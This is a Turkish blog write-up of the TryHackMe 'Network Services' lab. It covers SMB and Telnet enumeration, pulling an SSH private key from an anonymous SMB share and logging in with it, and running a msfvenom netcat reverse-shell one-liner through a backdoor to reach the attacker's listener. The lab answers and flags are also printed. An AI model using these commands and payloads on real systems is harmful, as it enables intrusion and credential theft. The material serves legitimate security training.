Sic Parvis Magna

31 Aralık 2024 Salı

TryHackMe - Network Services #1

Aralık 31, 2024 Posted by unexpected No comments

Task 2 - Understanding SMB

SMB Nedir?

Server Message Block Protocol (SMB) bir ağ üzerindeki dosyalara, yazıcılara, seri bağlantı noktalarına ve diğer kaynaklara erişimi paylaşmak için kullanılan bir client - server iletişim protokolüdür. source

Sunucular dosya sistemlerini ve diğer kaynakları (yazıcılar, pipes, API'ler) ağ üzerindeki istemcilerin kullanımına sunar. İstemci bilgisayarların kendi sabit diskleri olabilir, ancak sunuculardaki paylaşılan dosya sistemlerine ve yazıcılara da erişmek isterler.

SMB protokolü bir response request protokolü olarak bilinir, yani bir bağlantı kurmak için istemci ve sunucu arasında birden fazla mesaj iletir. İstemciler sunuculara TCP/IP (aslında RFC1001 ve RFC1002'de belirtildiği gibi TCP/IP üzerinden NetBIOS), NetBEUI veya IPX/SPX kullanarak bağlanır.

SMB nasıl çalışır?

Bir bağlantı kurduktan sonra, istemciler sunucuya paylaşımlara erişmelerine, dosyaları açmalarına, dosyaları okumalarına yazmalarına ve genellikle bir dosya sistemiyle yapmak istediğiniz her şeyi yapmalarına olanak tanıyan komutlar (SMB'ler) gönderebilirler. Ancak, SMB söz konusu olduğunda, bu işlemler ağ üzerinden yapılır.

SMB'yi ne çalıştırır?

Windows 95'ten bu yana Microsoft Windows işletim sistemleri istemci ve sunucu SMB protokolü desteği içermektedir. SMB protokolünü destekleyen açık kaynaklı bir sunucu olan Samba, Unix sistemleri için piyasaya sürülmüştür.

1. SMB açılımı nedir?

Server Message Block

2. SMB ne tür bir protokoldür?

response-request

3. İstemciler sunuculara ne kullanarak bağlanır?

TCP/IP

4. Samba hangi sistemlerde çalışır?

Unix

Task 3 - Enumerating SMB

Enumeration

Enumeration, potansiyel saldırı vektörlerini bulmak ve istismara yardımcı olmak için bir hedef hakkında bilgi toplama sürecidir.

Bu süreç bir saldırının başarılı olması için çok önemlidir, çünkü işe yaramayan ya da sistemi çökertebilecek açıklarla zaman kaybetmek enerji kaybı olabilir. Enumeration, kullanıcı adlarını, parolaları, ağ bilgilerini, ana bilgisayar adlarını, uygulama verilerini, hizmetleri veya bir saldırgan için değerli olabilecek diğer bilgileri toplamak için kullanılabilir.

SMB

Tipik olarak, bir sunucu üzerinde bağlanılabilen ve dosyaları görüntülemek veya aktarmak için kullanılabilen SMB paylaşım sürücüleri vardır. SMB, hassas bilgileri keşfetmek isteyen bir saldırgan için genellikle harika bir başlangıç noktası olabilir bazen bu paylaşımlarda nelerin bulunduğuna şaşıracaksınız.

Port Taraması

Enumeration ilk adımı, hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için bir port taraması yapmaktır.

Enum4Linux

Enum4linux, hem Windows hem de Linux sistemlerinde SMB paylaşımlarını numaralandırmak için kullanılan bir araçtır. Temel olarak Samba paketindeki araçların etrafını sarar ve hedeften SMB ile ilgili bilgileri hızlı bir şekilde çıkarmayı kolaylaştırır. Kendi saldırı makinenize yüklemeniz gerekiyorsa, bunu resmi github adresinden indirip yapabilirsiniz.

Enum4linux'un kullanımı basittir: enum4linux [options] ip

TAG FUNCTION
-U Kullanıcı listesi
-M Makine listesi
-N İsim listsi (-U ve -M farklıdır.)
-S Paylaşılan listesi
-P Password politikası bilgileri
-G Group ve Kullanıcı listesi
-a Hepsini getir

1. Nmap taraması yapın. Kaç port açık?

terminal
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt
3

2. SMB hangi portlar üzerinde çalışıyor?

139/445

3. Enum4Linux ile başlayalım, tam bir temel enumeration yapalım. Çalışma grubunun adı nedir?

terminal
enum4linux -a 10.10.44.59
WORKGROUP

4. Makinenin adı olarak ne geliyor?

POLOSMB

5. Hangi işletim sistemi sürümü çalışıyor?

6.1

6. Hangi paylaşım araştırmak isteyebileceğimiz bir şey olarak öne çıkıyor?

IPC$ ve print$ varsayılan SMB paylaşımlarıdır. netlogon, Network Login hizmetine ait bir paylaşımdır. Eleme sürecine göre, öne çıkan paylaşım profillerdir.

profiles

Task 4 - Exploiting SMB

SMB Exploit Türleri

CVE-2017-7494 gibi SMB'den yararlanarak uzaktan kod çalıştırmaya izin verebilecek güvenlik açıkları olsa da, bir sisteme girmenin en iyi yolunun sistemdeki yanlış yapılandırmalardan kaynaklandığı bir durumla karşılaşma olasılığınız daha yüksektir. Bu durumda, anonim SMB paylaşım erişiminden yararlanacağız bir shell'e yol açacak bilgileri elde etmemize izin verebilecek yaygın bir yanlış yapılandırma.

SMBClient

Bir SMB paylaşımına erişmeye çalıştığımız için, sunuculardaki kaynaklara erişmek için bir istemciye ihtiyacımız var. SMBClient kullanacağız çünkü varsayılan samba paketinin bir parçasıdır. Kendi makinenize yüklemeniz gerekiyorsa, buradan indirebilirisiniz

terminal
smbclient //[IP]/[SHARE]
TAG FUNCTION
-U Kullanıcı bilgisi
-p Port bilgisi

1. Varsayılan bağlantı noktasında 10.10.10.2 IP'li bir makinede "suit" kullanıcısı olarak "secret" adlı bir SMB paylaşımına erişmek için doğru sözdizimi ne olurdu?

smbclient //10.10.10.2/secret -U suit -p 445

2. Paylaşım anonim erişime izin veriyor mu?

terminal
smbclient //10.10.44.59/profiles -U Anonymous
Y

3. Değerli bilgiler içerebilecek ilginç belgeler için etrafa bir göz atın. Bu profil klasörünün kime ait olduğuna bakalım?

Öne çıkan dosya "Working From Home Information.txt". more komutu kullanılarak dosyanın içeriği okunabilir.

terminal
more "Working From Home Information.txt"
John Cactus

4. Evden çalışmasına izin vermek için hangi hizmet yapılandırıldı?

ssh

5. Artık bunu bildiğimize göre, paylaşımda hangi dizine bakmalıyız?

SSH anahtarları .ssh dizininde saklanır. Varsayılan olarak sunucunun private key id_rsa adlı bir dosyaya kaydedilir ve public key id_rsa.pub adlı bir dosyada saklanır. Sunucuya bağlanmak için private key'e ihtiyacımız vardır. John Cactus için SSH kullanıcı adını bilmediğimizden, private key SSH kullanıcı adını içereceğinden public ve private key indirdim.

mget komutu kullanılarak bir SMB sunucusundan birden fazla dosya indirilebilir.

terminal
mget id_rsa id_rsa.pub
.ssh

6. Bu dizin, bir kullanıcının bir sunucuda kimliğini doğrulamasına ve ardından sunucuya erişmesine olanak tanıyan kimlik doğrulama anahtarlarını içerir. Bu anahtarlardan hangisi bizim için en kullanışlıdır?

id_rsa

Bu dosyayı yerel makinenize indirin ve "chmod 600 [dosya]" kullanarak izinleri "600" olarak değiştirin.

Şimdi, hesabın kullanıcı adını bulmak için daha önce topladığınız bilgileri kullanın. Ardından, sunucuda oturum açmak için hizmeti ve anahtarı kullanın.

7. smb.txt içindeki flag nedir?

terminal
chmod 600 id_rsa      # Private key izinlerini değiştir.
cat id_rsa.pub      # Public key içerisin de ssh kullanıcı adını dosya sonunda buluyoruz.
ssh cactus@10.10.44.59 -i id_rsa      # Private key kullanarak sunucuya bağlanıyoruz.
THM{smb_is_fun_eh?}

Task 5 - Understanding Telnet

Telnet Nedir?

Telnet, bir telnet istemcisi kullanarak, bir telnet sunucusu barındıran uzak bir makineye bağlanmanıza ve bu makinede komutlar çalıştırmanıza olanak tanıyan bir uygulama protokolüdür.

Telnet istemcisi sunucu ile bir bağlantı kuracaktır. İstemci daha sonra sanal bir terminal haline gelecek ve uzak ana bilgisayarla etkileşime girmenize izin verecektir.

Telnet tüm mesajları açık metin olarak gönderir ve belirli bir güvenlik mekanizması yoktur. Bu nedenle, birçok uygulama ve hizmette Telnet'in yerini çoğu uygulamada SSH almıştır.

Telnet nasıl çalışır?

Kullanıcı sunucuya Telnet protokolünü kullanarak bağlanır, bu da bir komut istemine telnet girmek anlamına gelir. Kullanıcı daha sonra Telnet komutlarını kullanarak sunucuda komutları yürütür. Aşağıdaki sözdizimini kullanarak bir telnet sunucusuna bağlanabilirsiniz:

terminal
telnet [ip] [port]

1. Telnet nedir?

application protocol

2. Telnet'in yerini yavaş yavaş ne aldı?

ssh

3. IP adresi 10.10.10.3 olan bir Telnet sunucusuna 23 numaralı bağlantı noktasından nasıl bağlanırsınız?

telnet 10.10.10.3 23

4. Neyin eksikliği, tüm Telnet iletişiminin düz metin olduğu anlamına gelir?

encryption

Task 6 - Enumerating Telnet

Enumeration

Enumerating yanlış yapılandırılmış bir ağ hizmetinden yararlanmada ne kadar etkili olabileceğini daha önce görmüştük. Ancak, istismar edilmesi potansiyel olarak önemsiz olabilecek güvenlik açıkları her zaman gözümüze çarpmaz. Bu nedenle, özellikle ağ hizmetlerinin numaralandırılması söz konusu olduğunda, yöntemimizde titiz olmamız gerekir.

Port Tarama

Hedef makinenin hizmetleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince fazla bilgi edinmek için genellikle yaptığımız gibi bir port taramasıyla başlayalım. Makineyi nmap ile tarayın.

1. Hedef makinede kaç port açık?

terminal
namp -sS -T4 -A -p- 10.10.44.59 -oN nmap_smb.txt
1

2. Port numarası nedir?

8012

3. Bu bağlantı noktası atanmamış, ancak yine de kullandığı protokolü listeliyor, bu hangi protokol?

tcp

4. nmap taramasını -p- komutu olmadan yeniden çalıştırdığınızda, kaç bağlantı noktası açık olarak görünüyor?

0

5. Bu port ne için kullanılır?

Port 8012 tarafından döndürülen mesaj bize Skidy's Backdoor'u çalıştırdığını söylüyor.

a backdoor

6. Kime ait olabilir? Olası kullanıcı adlarını toplamak, numaralandırmada önemli bir adımdır.

Skidy

Task 7 - Exploiting Telnet

Telnet Exploit Türleri

Bir protokol olan Telnet, daha önce bahsettiğimiz nedenlerden dolayı kendi içinde güvensizdir. Şifrelemeden yoksundur, bu nedenle tüm iletişimi düz metin üzerinden gönderir ve çoğunlukla zayıf erişim kontrolüne sahiptir. Bununla birlikte, Telnet istemci ve sunucu sistemleri için CVE'ler vardır, istismar ederken bunları kontrol edebilirsiniz:

Common Vulnerabilities and Exposures kısaltması olan CVE, kamuya açıklanmış bilgisayar güvenlik kusurlarının bir listesidir. Birisi bir CVE'den bahsettiğinde, genellikle bir güvenlik açığına atanan CVE kimlik numarasını kasteder.

Bununla birlikte, telnet'in nasıl yapılandırıldığı veya çalıştığıyla ilgili bir yanlış yapılandırma bulma olasılığınız çok daha yüksektir ve bu da onu istismar etmenize olanak tanır.

Reverse Shell Nedir?

"Shell" basitçe bir cihaz üzerinde kod veya komut çalıştırmak için kullanılabilen bir kod veya program parçası olarak tanımlanabilir.

Reverse Shell, hedef makinenin saldıran makineyle geri iletişim kurduğu bir shell türüdür.

Saldıran makinenin bağlantıyı aldığı bir dinleme portu vardır, bu da kod veya komut yürütülmesine neden olur.

1. Bu açık bir telnet bağlantısı! Nasıl bir karşılama mesajı alıyoruz?

terminal
telnet 10.10.127.187 8012
SKIDY'S BACKDOOR.

2. Bazı komutları çalıştırmayı deneyelim, telnet oturumuna girdiğimiz herhangi bir girdiden geri dönüş alıyor muyuz?

.HELP menüsü tüm komutların başına .RUN eklememizi söylüyor. Linux komutlarını .RUN ön ekli olarak çalıştırmayı denedim ancak herhangi bir çıktı alamadık.

N

3. Yazdığımız şeyin bir sistem komutu olarak çalıştırılıp çalıştırılmadığını kontrol edelim.

N

Yerel makinenizde bir tcpdump dinleyicisi başlatın.

terminal
tcpdump ip proto \\icmp -i tun0        # Yerel Kali Makine için
tcpdump ip proto \\icmp -i ens5        # AttackBox Makinasi için

Bu, özellikle ping'lerin üzerinde çalıştığı ICMP trafiğini dinleyen bir tcpdump dinleyicisi başlatır.

4. Şimdi, sistem komutlarını çalıştırıp çalıştıramadığımızı görmek için telnet oturumu üzerinden "ping [yerel THM ip] -c 1" komutunu kullanın. Herhangi bir ping alıyor muyuz?

Telnet bağlantınızın olduğu terminalden ping komutunu çalıştırın. Komutun önüne .RUN eklemeyi unutmayın.

terminal
.RUN ping 10.6.67.160 -c 1

Komut çalıştırıldıktan sonra tcpdump'ın çalıştığı terminali kontrol edin. ICMP paketlerini listelemiş olmalıdır.

Y

msfvenom kullanarak bir reverse shell yükü oluşturacağız. Bu bizim için bir netcat reverse shell oluşturacak ve kodlayacaktır.

terminal
msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R
TAG FUNCTION
-p Payload
lhost Yerel ana bilgisayar IP adresimiz.
lport Dinlenecek port
R Payload ham formatta dışa aktarma

5. Oluşturulan yük hangi kelime ile başlıyor?

Payload, bir reverse shell oluşturacaktır. Reverse Shell, hedef makine saldıran makine ile ağ bağlantısını başlatır. Kabuğun bizim makinemize bağlanması gerektiğinden, TryHackMe ağındaki makinemizin IP adresine ihtiyacımız var. Eğer TryHackMe'ye bağlanmak için OpenVPN kullandıysanız tun0 arayüzüne bakmanız gerekir.

terminal
ip a l tun0

inet altındaki değer ihtiyacımız olan IP adresidir.

terminal
msfvenom -p cmd/unix/reverse_netcat lhost=10.6.67.160 lport=4444 R

Çıktının son satırı oluşturulan yüktür.

terminal
mkfifo /tmp/gewdh; nc 10.6.67.160 4444 0</tmp/gewdh | /bin/sh >/tmp/gewdh 2>&1; rm /tmp/gewdh
mkfifo

Neredeyse başardık. Şimdi tek yapmamız gereken yerel makinemizde bir netcat dinleyicisi başlatmak. Bunu kullanarak yapıyoruz:

terminal
nc -lvnp [listening port]

6. Yükümüzde seçtiğimiz dinleme portu için komut nasıl görünürdü?

nc -lvnp 4444

7. flag.txt dosyasının içeriği nedir?

THM{y0u_g0t_th3_t3ln3t_fl4g}

0 comments:

Yorum Gönder